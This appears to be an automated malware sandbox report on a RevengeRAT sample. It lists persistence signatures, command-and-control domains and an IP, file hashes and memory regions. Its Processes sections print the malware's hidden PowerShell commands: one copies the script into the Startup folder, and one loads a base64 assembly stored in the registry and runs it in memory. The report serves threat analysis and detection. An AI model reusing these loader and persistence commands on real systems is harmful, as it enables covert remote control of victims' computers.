Analysis Overview
SHA256
1572fa79a4de01323cc1f469d514d9711b3f88f47eedf6af7041f595d23f0c6a
Threat Level: Known bad
The file d7520f1f5438e4e82c1234fbcb10c6dc was found to be: Known bad.
Malicious Activity Summary
RevengeRAT
RevengeRat Executable
Blocklisted process makes network request
Drops startup file
Checks computer location settings
Adds Run key to start application
Drops file in System32 directory
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-19 23:15
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-19 23:15
Reported
2024-03-19 23:18
Platform
win7-20240221-en
Max time kernel
148s
Max time network
149s
Command Line
Signatures
RevengeRAT
RevengeRat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d7520f1f5438e4e82c1234fbcb10c6dc.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Windows\CurrentVersion\Run\Office = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 272 wrote to memory of 2832 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 272 wrote to memory of 2832 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 272 wrote to memory of 2832 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 272 wrote to memory of 2828 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 272 wrote to memory of 2828 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 272 wrote to memory of 2828 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d7520f1f5438e4e82c1234fbcb10c6dc.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d7520f1f5438e4e82c1234fbcb10c6dc.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d7520f1f5438e4e82c1234fbcb10c6dc.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | office.minhaempresa.tv | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | office.minhaempresa.tv | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
Files
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | f19d9ea6a6a0d49bf8b37f9575e94712 |
| SHA1 | 789cd1284971429d4677f3694508c619703899ce |
| SHA256 | a4bc1eb07371da6a6a59fbc8cfa947003825544823fd81baa17a7a288158083d |
| SHA512 | 592665aa84aecb432a1c8c4ebae6a25bdab0875cee1376e7485757477c2cf7e9ff5d6e52a4dcc3414cce62fd3ae30a764ffff93c55023ffc1a275f3b6aae186d |
memory/2828-10-0x00000000024F0000-0x00000000024F8000-memory.dmp
memory/2832-9-0x000000001B190000-0x000000001B472000-memory.dmp
memory/2828-12-0x0000000002830000-0x000000000283A000-memory.dmp
memory/2832-13-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2832-15-0x00000000025A0000-0x0000000002620000-memory.dmp
memory/2832-14-0x00000000025A0000-0x0000000002620000-memory.dmp
memory/2828-16-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2828-17-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/2828-18-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2832-20-0x00000000025A0000-0x0000000002620000-memory.dmp
memory/2828-21-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/2828-19-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/2832-22-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2832-23-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2832-25-0x00000000025A0000-0x0000000002620000-memory.dmp
memory/2832-24-0x00000000025A0000-0x0000000002620000-memory.dmp
memory/2828-26-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2828-28-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/2828-27-0x0000000002520000-0x00000000025A0000-memory.dmp
memory/2828-29-0x0000000002520000-0x00000000025A0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-03-19 23:15
Reported
2024-03-19 23:18
Platform
win10v2004-20231215-en
Max time kernel
146s
Max time network
150s
Command Line
Signatures
RevengeRAT
RevengeRat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d7520f1f5438e4e82c1234fbcb10c6dc.js | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Office = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3424 wrote to memory of 2272 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3424 wrote to memory of 2272 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3424 wrote to memory of 4600 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3424 wrote to memory of 4600 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\d7520f1f5438e4e82c1234fbcb10c6dc.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d7520f1f5438e4e82c1234fbcb10c6dc.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d7520f1f5438e4e82c1234fbcb10c6dc.js'))"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | 194.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | office.minhaempresa.tv | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | office.minhaempresa.tv | udp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| BR | 200.98.145.82:333 | office.minhaempresa.tv | tcp |
| US | 8.8.8.8:53 | workwinrarhost.ddns.com.br | udp |
| BR | 200.98.145.82:333 | workwinrarhost.ddns.com.br | tcp |
| US | 8.8.8.8:53 | 74.239.69.13.in-addr.arpa | udp |
Files
memory/2272-9-0x000001DDEB9D0000-0x000001DDEB9F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5umq0dan.0mc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4600-19-0x00007FFC87130000-0x00007FFC87BF1000-memory.dmp
memory/4600-21-0x000001B039780000-0x000001B039790000-memory.dmp
memory/4600-20-0x000001B039780000-0x000001B039790000-memory.dmp
memory/2272-23-0x000001DDE9850000-0x000001DDE9860000-memory.dmp
memory/2272-22-0x000001DDE9850000-0x000001DDE9860000-memory.dmp
memory/2272-24-0x00007FFC87130000-0x00007FFC87BF1000-memory.dmp
memory/4600-25-0x000001B054300000-0x000001B054344000-memory.dmp
memory/4600-27-0x000001B053F40000-0x000001B053F4A000-memory.dmp
memory/2272-28-0x000001DDEBE70000-0x000001DDEBEE6000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
memory/4600-32-0x00007FFC87130000-0x00007FFC87BF1000-memory.dmp
memory/4600-33-0x000001B039780000-0x000001B039790000-memory.dmp
memory/4600-34-0x000001B039780000-0x000001B039790000-memory.dmp
memory/2272-35-0x000001DDE9850000-0x000001DDE9860000-memory.dmp
memory/2272-36-0x000001DDE9850000-0x000001DDE9860000-memory.dmp
memory/2272-37-0x00007FFC87130000-0x00007FFC87BF1000-memory.dmp